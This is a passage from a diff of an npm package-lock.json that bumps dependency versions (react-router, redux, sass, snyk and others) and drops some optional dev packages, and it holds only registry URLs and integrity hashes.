"https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.5.3.tgz", + "integrity": "sha512-e9GWBT51WDtPkcaSy0ZLUAT93lBzDvuqrfW81NOf6G69XSurgCtVy4+ZYpUCnLhZgkokzsjrhtVOSj1FxPVyEw==", "requires": { - "lodash": "^4.17.11", - "tsparticles": "^1.18.10" + "lodash": "^4.17.11" } }, "react-redux": { @@ -12083,11 +10864,11 @@ } }, "react-router": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.2.0.tgz", - "integrity": "sha512-smz1DUuFHRKdcJC0jobGo8cVbhO3x50tCL4icacOlcwDOEQPq4TMqwx3sY1TP+DvtTgz4nm3thuo7A+BK2U0Dw==", + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.2.1.tgz", + "integrity": "sha512-lIboRiOtDLFdg1VTemMwud9vRVuOCZmUIT/7lUoZiSpPODiiH1UQlfXy+vPLC/7IWdFYnhRwAyNqA/+I7wnvKQ==", "requires": { - "@babel/runtime": "^7.1.2", + "@babel/runtime": "^7.12.13", "history": "^4.9.0", "hoist-non-react-statics": "^3.1.0", "loose-envify": "^1.3.1", @@ -12100,15 +10881,15 @@ } }, "react-router-dom": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.2.0.tgz", - "integrity": "sha512-gxAmfylo2QUjcwxI63RhQ5G85Qqt4voZpUXSEqCwykV0baaOTQDR1f0PmY8AELqIyVc0NEZUj0Gov5lNGcXgsA==", + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.3.0.tgz", + "integrity": "sha512-ObVBLjUZsphUUMVycibxgMdh5jJ1e3o+KpAZBVeHcNQZ4W+uUGGWsokurzlF4YOldQYRQL4y6yFRWM4m3svmuQ==", "requires": { - "@babel/runtime": "^7.1.2", + "@babel/runtime": "^7.12.13", "history": "^4.9.0", "loose-envify": "^1.3.1", "prop-types": "^15.6.2", - "react-router": "5.2.0", + "react-router": "5.2.1", "tiny-invariant": "^1.0.2", "tiny-warning": "^1.0.0" } @@ -12132,9 +10913,9 @@ } }, "react-toggle": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.1.1.tgz", - "integrity": "sha512-+wXlMcSpg8SmnIXauMaZiKpR+r2wp2gMUteroejp2UTSqGTVvZLN+m9EhMzFARBKEw7KpQOwzCyfzeHeAndQGw==", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.1.2.tgz", + "integrity": "sha512-4Ohw31TuYQdhWfA6qlKafeXx3IOH7t4ZHhmRdwsm1fQREwOBGxJT+I22sgHqR/w8JRdk+AeMCJXPImEFSrNXow==", "requires": { "classnames": "^2.2.5" } @@ -12148,9 +10929,9 @@ } }, "react-transition-group": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.1.tgz", - "integrity": "sha512-Djqr7OQ2aPUiYurhPalTrVy9ddmFCCzwhqQmtN+J3+3DzLO209Fdr70QrN8Z3DsglWql6iY1lDWAfpFiBtuKGw==", + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.2.tgz", + "integrity": "sha512-/RNYfRAMlZwDSr6z4zNKV6xu53/e2BuaBbGhbyYIXTrmgu/bGHzmqOs7mJSJBHy9Ud+ApHx3QjrkKSp1pxvlFg==", "requires": { "@babel/runtime": "^7.5.5", "dom-helpers": "^5.0.1", @@ -12158,6 +10939,55 @@ "prop-types": "^15.6.2" } }, + "read-pkg": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", + "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==", + "dev": true, + "requires": { + "@types/normalize-package-data": "^2.4.0", + "normalize-package-data": "^2.5.0", + "parse-json": "^5.0.0", + "type-fest": "^0.6.0" + }, + "dependencies": { + "hosted-git-info": { + "version": "2.8.9", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", + "dev": true + }, + "normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "requires": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "type-fest": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", + "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==", + "dev": true + } + } + }, + "read-pkg-up": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz", + "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==", + "dev": true, + "requires": { + "find-up": "^4.1.0", + "read-pkg": "^5.2.0", + "type-fest": "^0.8.1" + } + }, "readable-stream": { "version": "2.3.7", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", @@ -12174,15 +11004,12 @@ } }, "readdirp": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", - "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", "dev": true, - "optional": true, "requires": { - "graceful-fs": "^4.1.11", - "micromatch": "^3.1.10", - "readable-stream": "^2.0.2" + "picomatch": "^2.2.1" } }, "recast": { @@ -12214,13 +11041,22 @@ "resolve": "^1.9.0" } }, - "redux": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/redux/-/redux-4.0.5.tgz", - "integrity": "sha512-VSz1uMAH24DM6MF72vcojpYPtrTUu3ByVWfPL1nPfVRb5mZVTve5GnNCUV53QM/BZ66xfWrm0CTWoM+Xlz8V1w==", + "redent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "dev": true, "requires": { - "loose-envify": "^1.4.0", - "symbol-observable": "^1.2.0" + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + } + }, + "redux": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/redux/-/redux-4.1.1.tgz", + "integrity": "sha512-hZQZdDEM25UY2P493kPYuKqviVwZ58lEmGQNeQ+gXa+U0gYPUBf7NKYazbe3m+bs/DzM/ahN12DbF+NG8i0CWw==", + "requires": { + "@babel/runtime": "^7.9.2" } }, "regenerate": { @@ -12230,12 +11066,12 @@ "dev": true }, "regenerate-unicode-properties": { - "version": "8.2.0", - "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-8.2.0.tgz", - "integrity": "sha512-F9DjY1vKLo/tPePDycuH3dn9H1OTPIkVD9Kz4LODu+F2C75mgjAJ7x/gwy6ZcSNRAAkhNlJSOHRe8k3p+K9WhA==", + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-9.0.0.tgz", + "integrity": "sha512-3E12UeNSPfjrgwjkR81m5J7Aw/T55Tu7nUyZVQYCKEOs+2dkxEY+DpPtZzO4YruuiPb7NkYLVcyJC4+zCbk5pA==", "dev": true, "requires": { - "regenerate": "^1.4.0" + "regenerate": "^1.4.2" } }, "regenerator-runtime": { @@ -12252,17 +11088,6 @@ "@babel/runtime": "^7.8.4" } }, - "regex-not": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", - "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", - "dev": true, - "optional": true, - "requires": { - "extend-shallow": "^3.0.2", - "safe-regex": "^1.1.0" - } - }, "regexp.prototype.flags": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz", @@ -12280,17 +11105,17 @@ "dev": true }, "regexpu-core": { - "version": "4.7.1", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.1.tgz", - "integrity": "sha512-ywH2VUraA44DZQuRKzARmw6S66mr48pQVva4LBeRhcOltJ6hExvWly5ZjFLYo67xbIxb6W1q4bAGtgfEl20zfQ==", + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.8.0.tgz", + "integrity": "sha512-1F6bYsoYiz6is+oz70NWur2Vlh9KWtswuRuzJOfeYUrfPX2o8n74AnUVaOGDbUqVGO9fNHu48/pjJO4sNVwsOg==", "dev": true, "requires": { - "regenerate": "^1.4.0", - "regenerate-unicode-properties": "^8.2.0", - "regjsgen": "^0.5.1", - "regjsparser": "^0.6.4", - "unicode-match-property-ecmascript": "^1.0.4", - "unicode-match-property-value-ecmascript": "^1.2.0" + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^9.0.0", + "regjsgen": "^0.5.2", + "regjsparser": "^0.7.0", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.0.0" } }, "regjsgen": { @@ -12300,9 +11125,9 @@ "dev": true }, "regjsparser": { - "version": "0.6.9", - "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.9.tgz", - "integrity": "sha512-ZqbNRz1SNjLAiYuwY0zoXW8Ne675IX5q+YHioAGbCw4X96Mjl2+dcX9B2ciaeyYjViDAfvIjFpQjJgLttTEERQ==", + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.7.0.tgz", + "integrity": "sha512-A4pcaORqmNMDVwUjWoTzuhwMGpP+NykpfqAsEgI1FSH/EzC7lrN5TMd+kN8YCovX+jMpu8eaqXgXPCa0g8FQNQ==", "dev": true, "requires": { "jsesc": "~0.5.0" @@ -12351,13 +11176,6 @@ "mdast-util-to-markdown": "^0.6.0" } }, - "remove-trailing-separator": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz", - "integrity": "sha1-wkvOKig62tW8P1jg1IJJuSN52O8=", - "dev": true, - "optional": true - }, "renderkid": { "version": "2.0.7", "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-2.0.7.tgz", @@ -12422,13 +11240,6 @@ } } }, - "repeat-element": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz", - "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==", - "dev": true, - "optional": true - }, "repeat-string": { "version": "1.6.1", "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", @@ -12461,6 +11272,23 @@ "path-parse": "^1.0.6" } }, + "resolve-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", + "dev": true, + "requires": { + "resolve-from": "^5.0.0" + }, + "dependencies": { + "resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true + } + } + }, "resolve-from": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", @@ -12471,13 +11299,6 @@ "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-3.0.0.tgz", "integrity": "sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng==" }, - "resolve-url": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", - "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=", - "dev": true, - "optional": true - }, "restore-cursor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", @@ -12488,13 +11309,6 @@ "signal-exit": "^3.0.2" } }, - "ret": { - "version": "0.1.15", - "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", - "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", - "dev": true, - "optional": true - }, "retry": { "version": "0.13.1", "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", @@ -12550,25 +11364,15 @@ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" }, - "safe-regex": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", - "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", - "dev": true, - "optional": true, - "requires": { - "ret": "~0.1.10" - } - }, "safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" }, "sass": { - "version": "1.41.1", - "resolved": "https://registry.npmjs.org/sass/-/sass-1.41.1.tgz", - "integrity": "sha512-vIjX7izRxw3Wsiez7SX7D+j76v7tenfO18P59nonjr/nzCkZuoHuF7I/Fo0ZRZPKr88v29ivIdE9BqGDgQD/Nw==", + "version": "1.42.1", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.42.1.tgz", + "integrity": "sha512-/zvGoN8B7dspKc5mC6HlaygyCBRvnyzzgD5khiaCfglWztY99cYoiTUksVx11NlnemrcfH5CEaCpsUKoW0cQqg==", "dev": true, "requires": { "chokidar": ">=3.0.0 <4.0.0" @@ -12662,6 +11466,23 @@ "statuses": "~1.5.0" }, "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + } + } + }, "mime": { "version": "1.6.0", "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", @@ -12700,6 +11521,15 @@ "parseurl": "~1.3.2" }, "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, "http-errors": { "version": "1.6.3", "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", @@ -12718,6 +11548,12 @@ "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", "dev": true }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, "setprototypeof": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", @@ -12738,31 +11574,6 @@ "send": "0.17.1" } }, - "set-value": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz", - "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==", - "dev": true, - "optional": true, - "requires": { - "extend-shallow": "^2.0.1", - "is-extendable": "^0.1.1", - "is-plain-object": "^2.0.3", - "split-string": "^3.0.1" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, "setimmediate": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", @@ -12775,22 +11586,11 @@ "dev": true }, "sha3": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.1.3.tgz", - "integrity": "sha512-Io53D4o9qOmf3Ow9p/DoGLQiQHhtuR0ulbyambvRSG+OX5yXExk2yYfvjHtb7AtOyk6K6+sPeK/qaowWc/E/GA==", + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.1.4.tgz", + "integrity": "sha512-S8cNxbyb0UGUM2VhRD4Poe5N58gJnJsLJ5vC7FYWGUmGhcsj4++WaIOBFVDxlG0W3To6xBuiRh+i0Qp2oNCOtg==", "requires": { - "buffer": "5.6.0" - }, - "dependencies": { - "buffer": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz", - "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==", - "requires": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4" - } - } + "buffer": "6.0.3" } }, "shallow-clone": { @@ -12839,14 +11639,6 @@ "call-bind": "^1.0.0", "get-intrinsic": "^1.0.2", "object-inspect": "^1.9.0" - }, - "dependencies": { - "object-inspect": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", - "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", - "dev": true - } } }, "signal-exit": { @@ -12880,127 +11672,10 @@ } } }, - "snapdragon": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", - "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", - "dev": true, - "optional": true, - "requires": { - "base": "^0.11.1", - "debug": "^2.2.0", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "map-cache": "^0.2.2", - "source-map": "^0.5.6", - "source-map-resolve": "^0.5.0", - "use": "^3.1.0" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "snapdragon-node": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", - "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", - "dev": true, - "optional": true, - "requires": { - "define-property": "^1.0.0", - "isobject": "^3.0.0", - "snapdragon-util": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "optional": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - } - } - }, - "snapdragon-util": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", - "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^3.2.0" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, "snyk": { - "version": "1.716.0", - "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.716.0.tgz", - "integrity": "sha512-I8xdRJ/tgdoNRP6U1W5yUL5mtRBvx1dgHDbBeNq2LzWY0GvHtWFdC8iz7MNbJdqOHDU21ezRaXZ2Nie+Ma6bSw==", + "version": "1.733.0", + "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.733.0.tgz", + "integrity": "sha512-Mi/wk9tw8ma4P2+2QwgzGDHcIG0Tfj0Wn7cliuUqd7CM8bg+Oryq3g4NcNK6mJZz0VaISF8MCIcIzbqV8v0JYg==", "dev": true }, "sockjs": { @@ -13012,6 +11687,14 @@ "faye-websocket": "^0.11.3", "uuid": "^3.4.0", "websocket-driver": "^0.7.4" + }, + "dependencies": { + "uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "dev": true + } } }, "source-map": { @@ -13096,20 +11779,6 @@ } } }, - "source-map-resolve": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz", - "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==", - "dev": true, - "optional": true, - "requires": { - "atob": "^2.1.2", - "decode-uri-component": "^0.2.0", - "resolve-url": "^0.2.1", - "source-map-url": "^0.4.0", - "urix": "^0.1.0" - } - }, "source-map-support": { "version": "0.5.20", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.20.tgz", @@ -13128,17 +11797,10 @@ } } }, - "source-map-url": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz", - "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==", - "dev": true, - "optional": true - }, "spdx-correct": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.0.tgz", - "integrity": "sha512-lr2EZCctC2BNR7j7WzJ2FpDznxky1sjfxvvYEyzxNyb6lZXHODmEoJeFu4JupYlkfha1KZpJyoqiJ7pgA1qq8Q==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.1.tgz", + "integrity": "sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==", "dev": true, "requires": { "spdx-expression-parse": "^3.0.0", @@ -13152,9 +11814,9 @@ "dev": true }, "spdx-expression-parse": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", - "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", "dev": true, "requires": { "spdx-exceptions": "^2.1.0", @@ -13162,9 +11824,9 @@ } }, "spdx-license-ids": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.5.tgz", - "integrity": "sha512-J+FWzZoynJEXGphVIS+XEh3kFSjZX/1i9gFBaWQcB+/tmpe2qUsSBABpcxqxnAxFdiUFEgAX1bjYGQvIZmoz9Q==", + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.10.tgz", + "integrity": "sha512-oie3/+gKf7QtpitB0LYLETe+k8SifzsX4KixvpOsbI6S0kRiRQ5MKOio8eMSAKQ17N06+wdEOXRiId+zOxo0hA==", "dev": true }, "spdy": { @@ -13178,23 +11840,6 @@ "http-deceiver": "^1.2.7", "select-hose": "^2.0.0", "spdy-transport": "^3.0.0" - }, - "dependencies": { - "debug": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", - "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - } } }, "spdy-transport": { @@ -13211,21 +11856,6 @@ "wbuf": "^1.7.3" }, "dependencies": { - "debug": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", - "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", - 